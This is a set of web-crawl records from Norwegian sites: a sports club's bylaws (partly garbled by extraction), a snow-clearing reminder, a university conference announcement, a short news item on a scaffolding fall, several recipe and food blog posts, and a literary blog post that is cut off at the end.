{"url": "http://docplayer.me/1746018-Lov-for-orkanger-idrettsforening.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:17:20Z", "text": "1 Lov for Orkanger Idrettsforening Orkanger idrettsforening 1, stiftet , er en sammenslutning av Orkanger Idrettslag, stiftet , Orkanger Turnforening, stiftet , Idrettsforeningen Njardar, stiftet , og Orkanger Atletklubb, stiftet I. INNLEDENDE BESTEMMELSER 1 Form\u00e5l (1) Idrettslagets form\u00e5l er \u00e5 drive idrett organisert i Norges idrettsforbund og olympiske og paralympiske komit\u00e9 (NIF). (2) Arbeidet skal preges av frivillighet, demokrati, lojalitet og likeverd. All idrettslig aktivitet skal bygge p\u00e5 grunnverdier som idrettsglede, fellesskap, helse og \u00e6rlighet. 2 Organisasjon (1) Idrettslaget er selveiende og frittst\u00e5ende med utelukkende personlige medlemmer. 2 (2) Idrettslaget er medlem av de(t) s\u00e6rforbund som lagets \u00e5rsm\u00f8te bestemmer. 3 (3) Idrettslaget er medlem av NIF gjennom S\u00f8r-Tr\u00f8ndelag idrettskrets, h\u00f8rer hjemme i Orkdal.kommune, og er medlem av Ordakl idrettsr\u00e5d 4. (4) Idrettslaget skal f\u00f8lge NIFs og tilsluttede organisasjonsledds regelverk og vedtak. NIFs lov gjelder for idrettslaget uavhengig av hva som m\u00e5tte st\u00e5 i idrettslagets egen lov. 3 Medlemmer 1 Idrettslagets navn m\u00e5 v\u00e6re i overensstemmelse med forskrift om idrettslagsnavn. 2 Personlige medlemmer betyr at idrettslaget ikke kan operere med andre typer medlemskap, som for eksempel familiemedlemskap og firmamedlemskap. At det innf\u00f8res familiekontingent er \u00e5 anse som en rabattordning, og har ikke noe med selve medlemskapet \u00e5 gj\u00f8re. Medlemmer m\u00e5 f\u00f8lgelig registreres enkeltvis. 3 Idrettslaget m\u00e5 v\u00e6re medlem i de(t) s\u00e6rforbund som lagets idrettsgrener omfatter, med mindre laget utelukkende driver mosjonsidrett som ikke tilrettelegges av et s\u00e6rforbund i NIF, jf. NIFs lov 10-1.Dette skal fremkomme av idrettslagets organisasjonsplan. Det er \u00e5rsm\u00f8tet i idrettslaget som vedtar hvilke idretter idrettslaget skal organisere, og vedtar innmelding/utmelding i de(t) aktuelle s\u00e6rforbund. 4 Idrettslag kan bare v\u00e6re medlem av ett idrettsr\u00e5d. Hvis et idrettslags naturlige omr\u00e5de strekker seg over mer enn \u00e9n kommune, avgj\u00f8r idrettslagets \u00e5rsm\u00f8te ved lovendringsvedtak hvilket idrettsr\u00e5d det tilh\u00f8rer.\n\n Idrettslaget er selveiende og frittst\u00e5ende med utelukkende personlige medlemmer. 2 (2) Idrettslaget er medlem av de(t) s\u00e6rforbund som lagets \u00e5rsm\u00f8te bestemmer.\")\n\n\n\n En person som har en avtale med idrettslaget som gir vedkommende en \u00f8konomisk interesse i driften av\")\n\n\n\n Idrettslaget er regnskaps- og revisjonspliktig.\")\n\n8 4. Behandle idrettslagets \u00e5rsmelding, herunder eventuelle gruppe\u00e5rsmeldinger. 5. Behandle idrettslagets regnskap i revidert stand. 6. Behandle forslag og saker Fastsette medlemskontingent. 8. Vedta idrettslagets budsjett 9. Behandle idrettslagets organisasjonsplan Foreta f\u00f8lgende valg: 17 a) Leder og nestleder b) 7 styremedlem 18 og 3 varamedlemmer c) \u00d8vrige valg i henhold til \u00e5rsm\u00f8tevedtatt organisasjonsplan, jf. pkt. 9. d) Valg av revisor 19 e) Representanter til ting og m\u00f8ter i de organisasjonsledd idrettslaget har representasjonsrett. f) Valgkomit\u00e9 med leder og 2 medlemmer og 1 varamedlem for neste \u00e5rsm\u00f8te. (2) Leder og nestleder velges enkeltvis. De \u00f8vrige medlemmer til styret velges samlet. Deretter velges varamedlemmene samlet, og ved skriftlig valg avgj\u00f8res rekkef\u00f8lgen i forhold til stemmetall. (3) Valgkomiteen velges p\u00e5 fritt grunnlag, etter innstilling fra styret.. 16 Stemmegivning p\u00e5 \u00e5rsm\u00f8tet (1) Med mindre annet er bestemt i denne lov, skal et vedtak, for \u00e5 v\u00e6re gyldig, v\u00e6re truffet med alminnelig flertall av de avgitte stemmer. Ingen representant har mer enn \u00e9n stemme. Ingen kan m\u00f8te eller avgi stemme ved fullmakt. Blanke stemmer skal anses som ikke avgitt. (2) Valg foreg\u00e5r skriftlig hvis det foreligger mer enn ett forslag eller det fremmes krav om det. Hvis det skal v\u00e6re skriftlige valg, kan bare foresl\u00e5tte kandidater f\u00f8res opp p\u00e5 stemmeseddelen. Stemmesedler som er blanke, eller som inneholder ikke foresl\u00e5tte kandidater, eller ikke inneholder det antall det skal stemmes over, teller ikke, og stemmene anses som ikke avgitt. 14 Verken dirigent eller referent beh\u00f8ver \u00e5 v\u00e6re medlem i idrettslaget, se ogs\u00e5 Forslag i saklisten samt eventuelle forslag som \u00e5rsm\u00f8tet, ved godkjenning av saklisten, har vedtatt \u00e5 behandle etter et vedtak av 2/3 av de stemmeberettigede p\u00e5 \u00e5rsm\u00f8tet. 16 Organisasjonsplanen skal regulere idrettslagets interne organisering og aktivitet.. 17 Dette er minimum av de tillitspersoner som skal velges p\u00e5 \u00e5rsm\u00f8tet. \u00c5rsm\u00f8tet kan i tillegg velge andre tillitspersoner det er behov for. 18 Antall styremedlemmer og varamedlemmer m\u00e5 fylles ut ved vedtakelse av loven, minimum 1 styremedlem og 1 varamedlem. Styremedlemmene kan velges til spesifikke oppgaver. 19 Idrettslag med \u00e5rlig omsetning p\u00e5 mer enn kr 5 millioner plikter \u00e5 ha engasjert revisor, jf. NIFs lov 2-11, og m\u00e5 innta f\u00f8lgende som nytt punkt 10 i 15: \u00abEngasjere statsautorisert/registrert revisor til \u00e5 revidere idrettslagets regnskap.\u00bb Punkt 10 forskyves til nytt punkt 11 og punkt 11 bokstav d) endres til: \u00abKontrollkomit\u00e9 med 2 medlemmer og 2 varamedlemmer.\u00bb Side 8 av 11\n\n Valg av revisor 19 e) Representanter til ting og m\u00f8ter i de organisasjonsledd idrettslaget har representasjonsrett. f) Valgkomit\u00e9 med leder og 2 medlemmer og 1 varamedlem for neste \u00e5rsm\u00f8te.\")\n\n9 (3) N\u00e5r et valg foreg\u00e5r enkeltvis og ingen kandidat oppn\u00e5r mer enn halvparten av de avgitte stemmer, foretas omvalg mellom de to kandidater som har oppn\u00e5dd flest stemmer. Er det ved omvalg stemmelikhet, avgj\u00f8res valget ved loddtrekning. (4) N\u00e5r det ved valg skal velges flere ved en avstemning, m\u00e5 alle, for \u00e5 anses valgt, ha mer enn halvparten av de avgitte stemmer. Dette gjelder ikke ved valg av vararepresentant. Hvis ikke tilstrekkelig mange kandidater har oppn\u00e5dd dette i f\u00f8rste omgang, anses de valgt som har f\u00e5tt mer enn halvparten av stemmene. Det foretas s\u00e5 omvalg mellom de \u00f8vrige kandidater og etter denne avstemning anses de valgt som har f\u00e5tt flest stemmer. Er det ved omvalg stemmelikhet, avgj\u00f8res valget ved loddtrekning. (5) For \u00e5 v\u00e6re gyldig m\u00e5 valg v\u00e6re gjennomf\u00f8rt i henhold til 5 til Ekstraordin\u00e6rt \u00e5rsm\u00f8te (1) Ekstraordin\u00e6rt \u00e5rsm\u00f8te i idrettslaget innkalles av idrettslagets styre med minst 14 dagers varsel etter: a) Vedtak av \u00e5rsm\u00f8tet i idrettslaget. b) Vedtak av styret i idrettslaget. c) Vedtak av styret i overordnet organisasjonsledd. d) Skriftlig krav fra 1/3 av idrettslagets stemmeberettigete medlemmer. (2) Ekstraordin\u00e6rt \u00e5rsm\u00f8te innkalles direkte til medlemmene eventuelt p\u00e5 annen forsvarlig m\u00e5te, herunder ved kunngj\u00f8ring i pressen, eventuelt p\u00e5 idrettslagets internettside. Innkalling kan henvise til at saksdokumentene gj\u00f8res tilgjengelig p\u00e5 internett eller p\u00e5 annen forsvarlig m\u00e5te. (3) Ekstraordin\u00e6rt \u00e5rsm\u00f8te er vedtaksf\u00f8rt dersom det m\u00f8ter et antall stemmeberettigete medlemmer som minst tilsvarer antallet styremedlemmer iht. idrettslagets lov. Dersom det ekstraordin\u00e6re \u00e5rsm\u00f8tet ikke er vedtaksf\u00f8rt, kan det innkalles til \u00e5rsm\u00f8te p\u00e5 nytt uten krav til minimumsdeltakelse. (4) Ekstraordin\u00e6rt \u00e5rsm\u00f8te i idrettslaget skal bare behandle de saker som er angitt i vedtaket eller i kravet om innkalling av \u00e5rsm\u00f8tet. Sakliste og n\u00f8dvendige saksdokumenter skal f\u00f8lge innkallingen. 18 Idrettslagets styre (1) Idrettslaget ledes og forpliktes av styret, som er idrettslagets h\u00f8yeste myndighet 20 mellom \u00e5rsm\u00f8tene. 20 Dersom laget har flere gruppestyrer, er det kun idrettslagets hovedstyre som leder og forplikter laget. Denne h\u00f8yeste myndighet kan ikke, verken helt eller delvis, delegeres til andre organer/personer innen laget. Dette inneb\u00e6rer blant annet at det bare er idrettslagets hovedstyre (der laget har grupper/avdelinger med egne styrer) som kan foreta ansettelser, inng\u00e5 markedsavtaler, evt. andre avtaler som forplikter idrettslaget juridisk. Side 9 av 11\n\n\n\n", "language": "no", "__index_level_0__": "7bb9f9aa-b5ac-40e1-9dfe-9a2495d246bc"}
{"url": "http://www.as.kommune.no/paaminnelse.352073.47485o2ff3fb13b.gtm.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:29:44Z", "text": "\n\n  \nIkke glem \u00e5 m\u00e5ke ordentlig i gata v\u00e5r i dag\\! Det er dype spor. N\u00e5r dette fryser, s\u00e5 blir det ufremkommelig og bilene blir \u00f8delagt. Og veldig vanskelig for oss fotgjengere.  \n\n", "language": "no", "__index_level_0__": "56f74f69-6485-4d7d-b826-405c38a8ab04"}
{"url": "http://ansatt.uis.no/aktuelt/article122563-2955.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:10:53Z", "text": "# Inviterer til konferanse om propaganda og tillit\n\n-----\n\nSamfunnssikkerhetskonferansen den 4. januar samler fagfolk til utveksling av aktuelle tema som ny kald krig, propaganda, tillit i samfunnet og helsetjeneste i krig og krise. \n\nLike sikkert som det er et nytt \u00e5r arrangeres Samfunnssikkerhetskonferansen den f\u00f8rste uka i januar p\u00e5 Universitetet i Stavanger (UiS). I \u00e5r for femtende \u00e5r p\u00e5 rad.\n\nHer m\u00f8tes praksisfeltet, framtredende sikkerhetsforskere og andre fagpersoner til aktuelle framlegg, kommentarer og diskusjon.\n\n### Propaganda mellom \u00f8st og vest\n\n\u00c5rets konferanse tar for seg Norges og Europas utfordringer i det som p\u00e5 mange m\u00e5ter kan ses p\u00e5 som en slags ny kald krig n\u00e5r det gjelder vestens forhold til Russland.\n\nDet drives propaganda b\u00e5de fra vestlig og \u00f8stlig hold. Kjent er det at russiske medier driver propaganda, men hvordan gj\u00f8r de det?\u00a0Geir H\u00e5gen Karlsen fra Forsvarets stabsskole vil snakke om russisk avskrekking, p\u00e5virkning og hybrid krigf\u00f8ring.\n\nI tillegg skal Hans Wilhelm Steinfeld belyse utfordringer vi\u00a0st\u00e5r overfor n\u00e5r det gjelder forholdet mellom oss og Russland.\u00a0\u00a0\n\n### Uklare ansvarsforhold\n\nOgs\u00e5 sikkerheten her til lands er tema for konferansen hvor en bolk er viet til uklare ansvarsforhold og roller i samfunnets sikkerhets- og beredskapsarbeid.\n\nI rapporten\u00a0Helse, arbeidsmilj\u00f8 og sikkerhet i petroleumsvirksomheten\u00a0som kom i oktober i \u00e5r, og som professor Ole Andreas Engen (UiS) ledet arbeidet med, ble det konkludert at det er et h\u00f8yt niv\u00e5 p\u00e5 helse, arbeidsmilj\u00f8 og sikkerhet i norsk petroleumsvirksomhet, og at arbeidet med et godt partssamarbeid er s\u00e6rlig viktig.\n\nEngen deltar p\u00e5 konferansen og skal snakke om helse, arbeidsmilj\u00f8 og sikkerhet i petroleumsvirksomheten fra partssamarbeidsgruppe 2017.\n\nPer Kristian Foss fra\u00a0Riksrevisjonen kommer, og fra NTNU kommer Stian Antonsen og skal snakke om l\u00e6ringsprosesser etter 22. juli-massakren.\n\nOgs\u00e5 tunellsikkerhetsarbeid ved professor Ove Nj\u00e5 (UiS) st\u00e5r p\u00e5 agendaen. Foredraget hans vil problematisere bruken av sannsynligheter i tunnelsikkerhetsarbeidet og dr\u00f8fte forslag til l\u00f8sninger.\n\n### Helsetjeneste i krise og krig\n\nDet er slik at prim\u00e6rhelsetjenesten i kommunene og spesialisthelsetjenesten i helseforetakene er begge viktige for \u00e5 ivareta befolkningens helse, ikke bare i fred men minst like viktig \u2013 ja kanskje viktigere \u2013 i krise og krig.\u00a0\n\nFor \u00e5 sikre freden m\u00e5 helsetjenesten og Forsvaret samarbeide. Helse Stavanger blir derfor i 2018 involvert i en st\u00f8rre Nato-\u00f8velse.\n\nDette f\u00e5r vi h\u00f8re mer om n\u00e5r spesialist i samfunnsmedisin og sjef for forsvarets sanitet Jan Knudtzon Sommerfelt-Pettersen kommer sammen med administrerende direkt\u00f8r i Helse Stavanger HF, Inger Cathrine Bryne, for \u00e5 snakke om sivilt\u2013milit\u00e6rt samarbeid.\n\n### Tillit og samfunnssikkerhet\n\nSamfunnssikkerhetsforskerne ved UiS holder fram tillit til andre mennesker og offentlige institusjoner som et s\u00e6rlig viktig element i samfunnssikkerhet.\n\nI Norge og de nordiske landene har folk generelt stor tillit til hverandre og ulike politiske institusjoner sammenliknet med andre europeere. Men tillit er ikke en selvf\u00f8lge. Den er lett \u00e5 miste og vanskelig \u00e5 gjenoppbygge.\n\nS\u00e5 hvordan bygger vi egentlig tillit \u2013 og hva skjer n\u00e5r vi mister den? Hvem har egentlig ansvaret? Dette vil f\u00f8rsteamanuensis Kirsten Voigt Juhl (UiS) snakke om.\n\nDe siste \u00e5rene har holdningen til flyktninger blitt markert mer negativ b\u00e5de i Norge og resten av den rike verden. Uten tillit\u00a0til folk som av ulike grunner flykter til Norge kan det bli sv\u00e6rt vanskelig \u00e5 opprettholde et sikkert samfunn. Dette vil professor Odd Einar Olsen (UiS) holde et foredrag om. Olsen har i mange \u00e5r pendlet mellom stillingen p\u00e5 universitetet og oppdrag for FN i konfliktomr\u00e5der og naturkatastrofer.\n\nFor mer informasjon og p\u00e5melding, g\u00e5 inn p\u00e5\u00a0Samfunnssikkerhetskonferansens nettside.\u00a0\u00a0\n\nDet er fortsatt mulig\u00a0\u00e5 melde seg p\u00e5 konferansen.\u00a0\n\n*Tekst: Karen Anne Okstad  \n-----\n\nSist oppdatert av Karen Anne Okstad (28.12.2017)  \n  \n", "language": "no", "__index_level_0__": "50f19d3d-5e23-4750-97b8-ce342a9c57bb"}
{"url": "https://www.nrk.no/sorlandet/mann-falt-ned-fra-stillas-i-risor-1.13659211", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:53:41Z", "text": "# Mann falt ned fra stillas i Ris\u00f8r\n\nEn mann som falt ned fra et stillas i Ris\u00f8r, er sendt til sykehuset i Arendal i luftambulanse. Skadeomfanget og tilstanden hans er forel\u00f8pig ikke kjent.\n\n\n\nKilde: *NTB*\n\n  Publisert  26.08.2017, kl. 12.58 \n\n  Publisert  26.08.2017, kl. 12.58 \n\nPolitiet fikk melding om ulykken p\u00e5 Ris\u00f8r b\u00e5tsenter klokken 10.43 l\u00f8rdag.\n\n\u2013 Han falt rundt 2,5 meter. Vi vet enn\u00e5 ikke noe om omstendighetene rundt ulykken. Mannen er sendt med luftambulanse til S\u00f8rlandet sykehus i Arendal, sier operasjonsleder Per Kristian Klausen i Agder politidistrikt til NTB.\n\nArbeidstilsynet er rutinemessig varslet.\n\nSykehuset opplyser at mannens skadeomfang forel\u00f8pig er uavklart.\n\n## Nyhetstips 03030\n\nTips oss\\!\n\n  Publisert  26.08.2017, kl. 12.58 \n\n", "language": "no", "__index_level_0__": "4a595c99-0768-4746-b645-95f8b9db00cf"}
{"url": "http://toolate.blogg.no/1432064519_ny_blogg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:31:00Z", "text": "\n## Ny blogg\\!\n\n  - 19.05.2015 kl.21:41 i Blogg\n**Velkommen til blogg.no\\! :)**\n\nDette er det aller f\u0159rste innlegget i din nye blogg. Her vil du finne nyttig informasjon, enten du er ny som blogger eller har blogget f\u0159r.\n\nTrenger du litt starthjelp finner du v\u013are hjelpesider her: http://faq.blogg.no/, og v\u013ar engasjerte supportavdeling er tilgjengelig (nesten) 24/7.\n\n**Bloggen**  \n\u0158nsker du \u013a gj\u0159re den nye bloggen din litt mer personlig anbefaler vi at du fyller ut profilinfo, og velger et design som passer til deg. Vil du bare komme i gang med bloggingen kan du starte et nytt innlegg.\n\n**Hashtags**  \nBlogg.no bruker hashtags for \u013a samle innlegg som handler om samme tema. Hashtags gj\u0159r det lettere \u013a finne innlegg om akkurat det temaet du s\u0159ker. Du kan lese mer om hashtags her: http://hashtags.blogg.no/\n\n#### Lovise\n\n19.05.2015 kl.21:47\n\nHei dere, s\u013a kjekt at dere ogs\u013a vi f\u013a dere blogg men vist dere har lust p\u013a mange leser og en bra blogg s\u013a kan dere ta og stikke innom bloggen min for jeg har har lakt ut et innlegg der det st\u013ar hvordan dere f\u013ar en bra blogg og mange lesere men dere m\u013a bare bla litt langt ned da hihi\n\n", "language": "no", "__index_level_0__": "540ee577-e29c-4785-b276-6739828c0b6f"}
{"url": "http://motesilje.com/deilig-chia-pudding-pa-1-2-3/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:22:34Z", "text": "# Deilig Chia pudding p\u00e5 1-2-3\\!\n\nSilje Pedersen, mars 7, 2018 8:56 am // Ukens oppskrift\n\n\n\nHva spiser du til frokost? Jeg er blitt litt hekta p\u00e5 chiapudding etter mang en pressefrokost. Det er sunt, deilig og mettende\\! Siden jeg er glutenallergiker er det jo litt begrenset hva jeg kan spise, men dette er alltid snadder. Og det er s\u00e5 enkelt \u00e5 lage. Her er det bare \u00e5 la fantasien l\u00f8pe, kombinasjonene er uendelige. Selv elsker jeg \u00e5 toppe med b\u00e5de glutenfri frokostblanding fra *Baker Hansen*, kokos, pasjonsfrukt eller granateple.\n\n**1**. Hell mandelmelk i et glass eller en liten bolle.\n\n**2**. Ha i chiafr\u00f8, og r\u00f8r godt. Dekk til med plastfolie og sett glasset/bollen i kj\u00f8leskapet i minst 3 timer, gjerne over natten. Chiafr\u00f8ene vil svelle, og du f\u00e5r en tykk konsistens p\u00e5 puddingen.\n\n**3**. Topp puddingen med frisk pasjonsfrukt og ristet kokos rett f\u00f8r servering. Du kan selvf\u00f8lgelig velge andre typer toppinger. Friske bringeb\u00e6r, s\u00f8t banan, n\u00f8tter eller t\u00f8rket frukt er bare noen forslag. Ta det du liker aller best\\!\n\n**Oppskrift:**\n\n  - 2 dl mandelmelk , eventuelt havremelk, kokosmelk e.l\n  - 3 ss chiafr\u00f8\n  - 1 stk pasjonsfrukt\n  - 1 ss ristede kokosflak (ferske eller t\u00f8rkede)\n\n\n\n\n\n", "language": "no", "__index_level_0__": "964c59c0-4610-4bf2-99ef-185788f06fcd"}
{"url": "https://beatehemsborg.blogspot.com/2011/06/noe-godt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:24:01Z", "text": "## l\u00f8rdag 25. juni 2011\n\n### noe godt...\n\n\n\n(hjemmelaget burger, med mini-br\u00f8d fra Hatting)\n\nEn av favorittene hos barna er hamburger...\n\nI g\u00e5r ble det en hjemmelaget variant.\n\nNoe som heldigvis falt i smak hos sm\u00e5folket\\!\n\n  \nDenne varianten er enkel og veldig barnevennlig...\n\n  \n\n\n  \n\u00a0(l\u00f8ken kan godt raspes, dersom barna ikke er glad i l\u00f8k-biter)\n\nBland alt godt sammen og\u00a0lag\u00a0\"kj\u00f8ttkakene\" i den st\u00f8rrelsen du \u00f8nsker.\n\n  \n\n\n   \n1.  \n    \n    Precious Home25.06.2011, 23:18\n    \n    \u00e5hh\\! creme fraiche...det m\u00e5 pr\u00f8ves\\!  \n      \n    ha en fin kveld\\!\n    \n2.  \n    \n    Marya25.06.2011, 23:20\n    \n    herlig :) hadde burger selv i kveld :p\n    \n3.  \n    \n    Hjemmekj\u00e6r25.06.2011, 23:29\n    \n    Heldige de er hjemme hos deg, du lager s\u00e5 mye godt\\!:) Her syns jeg det g\u00e5r mye i det samme, og man blir litt matlei da....  \n    Kanskje p\u00e5 tide med noe nytt her \u00e5;D\n    \n4.  \n    \n    by BeaTell25.06.2011, 23:46\n    \n    S\u00e5 mange fine bilder du lar lagt ut i det siste\\! Vi ogs\u00e5 spiste burger med mini-br\u00f8d p\u00e5 idag. Da ikke med hjemmelaget karbis, som er absolutt allerbest ja\\! Har ikke pr\u00f8vd med creme fresh i\\! H\u00f8rtes godt ut\\!  \n      \n    klem\n    \n5.  \n    \n    Mona Christin25.06.2011, 23:52\n    \n    Hei.  \n      \n    Du er jo den husmora. Og s\u00e5 tar du de smashings bildene. Najs...  \n      \n    Klem Mona C\n    \n6.  \n    \n    Villblomsten26.06.2011, 00:46\n    \n    Alltid populert her ogs\u00e5 :-)  \n    Mange flotte bilder du tar :-)\n    \n7.  \n    \n    Villblomsten26.06.2011, 00:46\n    \n    Hei igjen :-)  \n    Bare ett lite tips :  \n      \n    Hegeslilleboble26.06.2011, 07:14\n    \n    Mmm, det s\u00e5 godt ut\\!\n    \n9.  \n    \n    Beate - Bia ved havet26.06.2011, 08:05\n    \n    Deilig\\!  \n      \n    S\u00e5 flink du er Beate. \\*klem\\*\n    \n", "language": "no", "__index_level_0__": "a6193c30-bd04-464f-9bea-da135d1b0ca0"}
{"url": "https://brodogkorn.no/fakta/inviter-til-juleverksted/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:36:49Z", "text": "# Inviter til juleverksted\n\nDet gir garantert julestemning, kvalitetstid med n\u00e6re og kj\u00e6re og du f\u00e5r unnagjort\u00a0\u00abn\u00f8dvendige\u00bb juleforberedelser; kaker og julegaver i boks.\n\nfine \u00e5 bake sammen med flere.\n\n\u00a0\n### 7 julekaker perfekte for juleverksted\n\n#### 1\\. Kokosmakroner\u00a0\n\n\u00a0\n\n\n\u00a0\nKom i julestemning med kokosmakroner\\! Skal du ha juleverksted med mange er makroner greit \u00e5 bake sammen med for eksempel barnas konfekt og brune pinner.\n\n\u00a0\n#### 2\\. Kakemenn\n\nDenne kakemennr\u00f8ra best\u00e5r av bare 4 ingredienser, s\u00e5 den smeller du sammen p\u00e5 1-2-3. Oppskriften er stor nok til at man kan v\u00e6re minst 4 personer som stikker ut kakemenn.\u00a0\n\n\u00a0\n\\>\\> Verdens enkleste kakemennoppskrift.\u00a0\n\n\u00a0\n#### 3\\. Brune pinner\n\n\u00a0\n\n\n\u00a0\nEn skikkelig god julekake som fint kan bakes med flere. Lag en dobbel porsjon av oppskriften s\u00e5 kan alle trille p\u00f8lser og klemme kaker, og f\u00e5 med seg en liten kakeboks hjem.\n\n\u00a0\n\\>\\> Enkel og god oppskrift p\u00e5 brune pinner\u00a0\n\n\u00a0\n#### 4\\. Smultringer\n\n\n\nEr det en julebakst det er nyttig \u00e5 v\u00e6re to bakere s\u00e5 er det smultbakst, for da kan en kjevle og stikke ut kaker, mens den andre kan steke kakene. \u00c5 vokte smultet og kjevle kaker samtidig kan v\u00e6re litt stressende for en person. Inviter med et par venner til og lag ogs\u00e5\u00a0fattigmann i samme slengen \u2013 vipps var smultbaksten unnagjort p\u00e5 et juleverksted.\u00a0\n\n\u00a0\n\\>\\> S\u00e5 lett\u00a0er det \u00e5 lage smultringer.\n\n\u00a0\n#### 5\\. Lussekatter\u00a0\n\n\n\n\u00a0\nDeilig s\u00f8t gj\u00e6rbakst som skal bakes til luciadagen. Og her kan alle f\u00e5 lov til \u00e5 boltre seg og v\u00e6re kreative med former og fasonger. Vil du vite mer om hvorfor vi feirer Lucia?\u00a0\n\n\\>\\> Se fremgangsm\u00e5ten for lussekatter her.\n\n\u00a0\n#### 6\\. Pepperkaker\n\n\n\n\u00c5 stikke ut pepperkaker med ulike former og pynte de med melis og non stop er en enkel og morsom aktivitet som alle synes er g\u00f8y. Juleverksted med pepperkaker har ingen aldersgrense. Og hva med \u00e5 bake ditt eget pepperkakehus? Her er v\u00e5re beste tips til pepperkakehusbyggingen.\n\n\u00a0\n#### 7\\. Barnas konfekt\n\n\u00a0\n\n\nHar du sm\u00e5 barn eller vil bare bake\u00a0noe superlett er barnas konfekt perfekt. Men du m\u00e5 like litt klin og kliss. Her er det ikke noe steketid.\u00a0\n\n\u00a0\n> \\> Smakfull konfekt med havre, kakao og kokos.\n\n\u00a0\nBaksten forvandles lett til fine julegaver. Dessuten er det superkos \u00e5 pakke inn i fine esker, bokser og glass pyntet med silkeb\u00e5nd, glitter og en s\u00f8t julehilsen.\n\n### TIPS OG R\u00c5D TIL STRESSFRI JULEVERKSTED\n\n  - Inviter i god tid og sett gjerne av 3-4 timer, s\u00e5 dere kan nyte og kose dere med bakeverkstedet.\u00a0\n  - Sett kakedeigen i forkant. Den kan fint st\u00e5 i kj\u00f8leskapet en liten uke f\u00f8r den bakes med, alternativt frys ned deigen hvis du er tidlig ute.\u00a0\n  - F\u00e5 alle til \u00e5 ta med litt hver til juleverkstedet, den som inviterer m\u00e5 ikke ordne alt selv. Noen kan ta med deig, andre ekstra utstyr som trengs (forkle, nisselue (?), kjevler, former ol.), en annen kan st\u00e5 for pynt og utstyr til \u00e5 pakke inn julekakene. Alle m\u00e5 ihvertfall ha med sin egen kakeboks.\n  - Lag en juleliste med alles favoritter p\u00e5 spotify. Julemusikk m\u00e5 man ha p\u00e5 juleverksted.\u00a0\n  - Server eplegl\u00f8gg og nybakte julesnurrer eller enkle br\u00f8dskiver med julep\u00e5legg, s\u00e5 kanskje orker dere \u00e5 bake et kakeslag til.\n\n## Du er kanskje interessert i dette ogs\u00e5?\n\n  Jul\n\n#### Kakebordet til jul\n\nDropp alle sm\u00e5kakene i \u00e5r, og sl\u00e5 til med en lekker festkake i stedet. Vi lover at \u00e9n av disse kakene vil lyse opp kakebordet til jul.\n\n  Jul\n\n#### 3 x julefrokost\n\nTa deg tid til en julefrokost med lave skuldre og gode samtaler med familie og venner. Her er 3 frokostmenyer for den travle til mesterbakeren.\n\n  Jul\n\n#### Slik kan du f\u00e5 spist opp rester fra julematen\\!\n\nTil jul lages det mange gode kj\u00f8ttbaserte middager - bruk rester fra julematen som skinkestek, ribbe eller pinnekj\u00f8tt til \u00e5 lage digge sandwicher\\! Raskt, enkelt og godt.\n\n  Jul\n\n#### Hvordan oppbevare julekaker?\n\nHvordan b\u00f8r du oppbevare julekaker slik at de holder seg lengst mulig? Noen kaker skal v\u00e6re myke, andre harde eller seige. Oppbevaringsmetode kan p\u00e5virke b\u00e5de smak og konsistens. Her er r\u00e5dene for best mulig holdbarhet.\n\nBorsjtsj - russisk r\u00f8dbetsuppe er nok den mest kjente retten fra v\u00e5rt naboland i \u00f8st. Servert med r\u00f8mme og et par skiver grovt rugbr\u00f8d passer den b\u00e5de som forrett og hovedrett.\n#### Eplekake\n\nEplekake lager du av de myke eplene i fruktfatet. Den smaker himmelsk med deilige eplebiter, kanel, sukker og hakkede mandler p\u00e5 toppen. En perfekt h\u00f8stkake, og ekstra god med krem eller vaniljeis.\n\n", "language": "no", "__index_level_0__": "8988d07b-a405-47a5-aa63-32c223a53b2b"}
{"url": "https://espento.wordpress.com/2011/01/12/bj%C3%B8rnstads-nye-solgt-til-tyskland/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:17:58Z", "text": "# Leselysten.com\n\n## \\~ b\u00f8ker, lesing og skrivedr\u00f8mmer\n\n# Bj\u00f8rnstads nye solgt til\u00a0Tyskland\n\n**12** *onsdag* jan 2011\n\nPressemelding fra Aschehoug forteller at det prestisjetunge tyske forlaget Suhrkamp har kj\u00f8pt Ketil Bj\u00f8rnstads kommende roman De ud\u00f8delige (Aschehoug 2011). Suhrkamp har hatt stor suksess med Bj\u00f8rnstads foreg\u00e5ende romaner p\u00e5 det tyske markedet, og har n\u00e5 alts\u00e5 sikret seg De ud\u00f8delige som lanseres her hjemme 4. februar. I De ud\u00f8delige skriver Bj\u00f8rnstad om et emne som er lite ber\u00f8rt i norsk \u00a0samtidslitteratur: En aldrende mann som har omsorgsansvar for b\u00e5de foreldre og barn, samtidig som egne problemer t\u00e5rner seg opp.  \n\u00a0  \nDe ud\u00f8delige er hovedbok i Bokklubben Nye B\u00f8ker i Mars.\n\n\n\n# Leselysten.com\n\nJeg, Espen Selmer-Torgersen tilbyr gjennom Leselysten.com, tjenester som skrivest\u00f8tte, manusvurdering, redakt\u00f8rbistand og artikkelskriving. Jeg utf\u00f8rer oppdrag for ulike forlag i Norge, deriblant Cappelen Damm, Juritzen og Kolofon. I tillegg er jeg tilknyttet Forfatterskolen som manuskonsulent og jeg gj\u00f8r oppdrag for privatpersoner.  \nFor kulturmagasinet 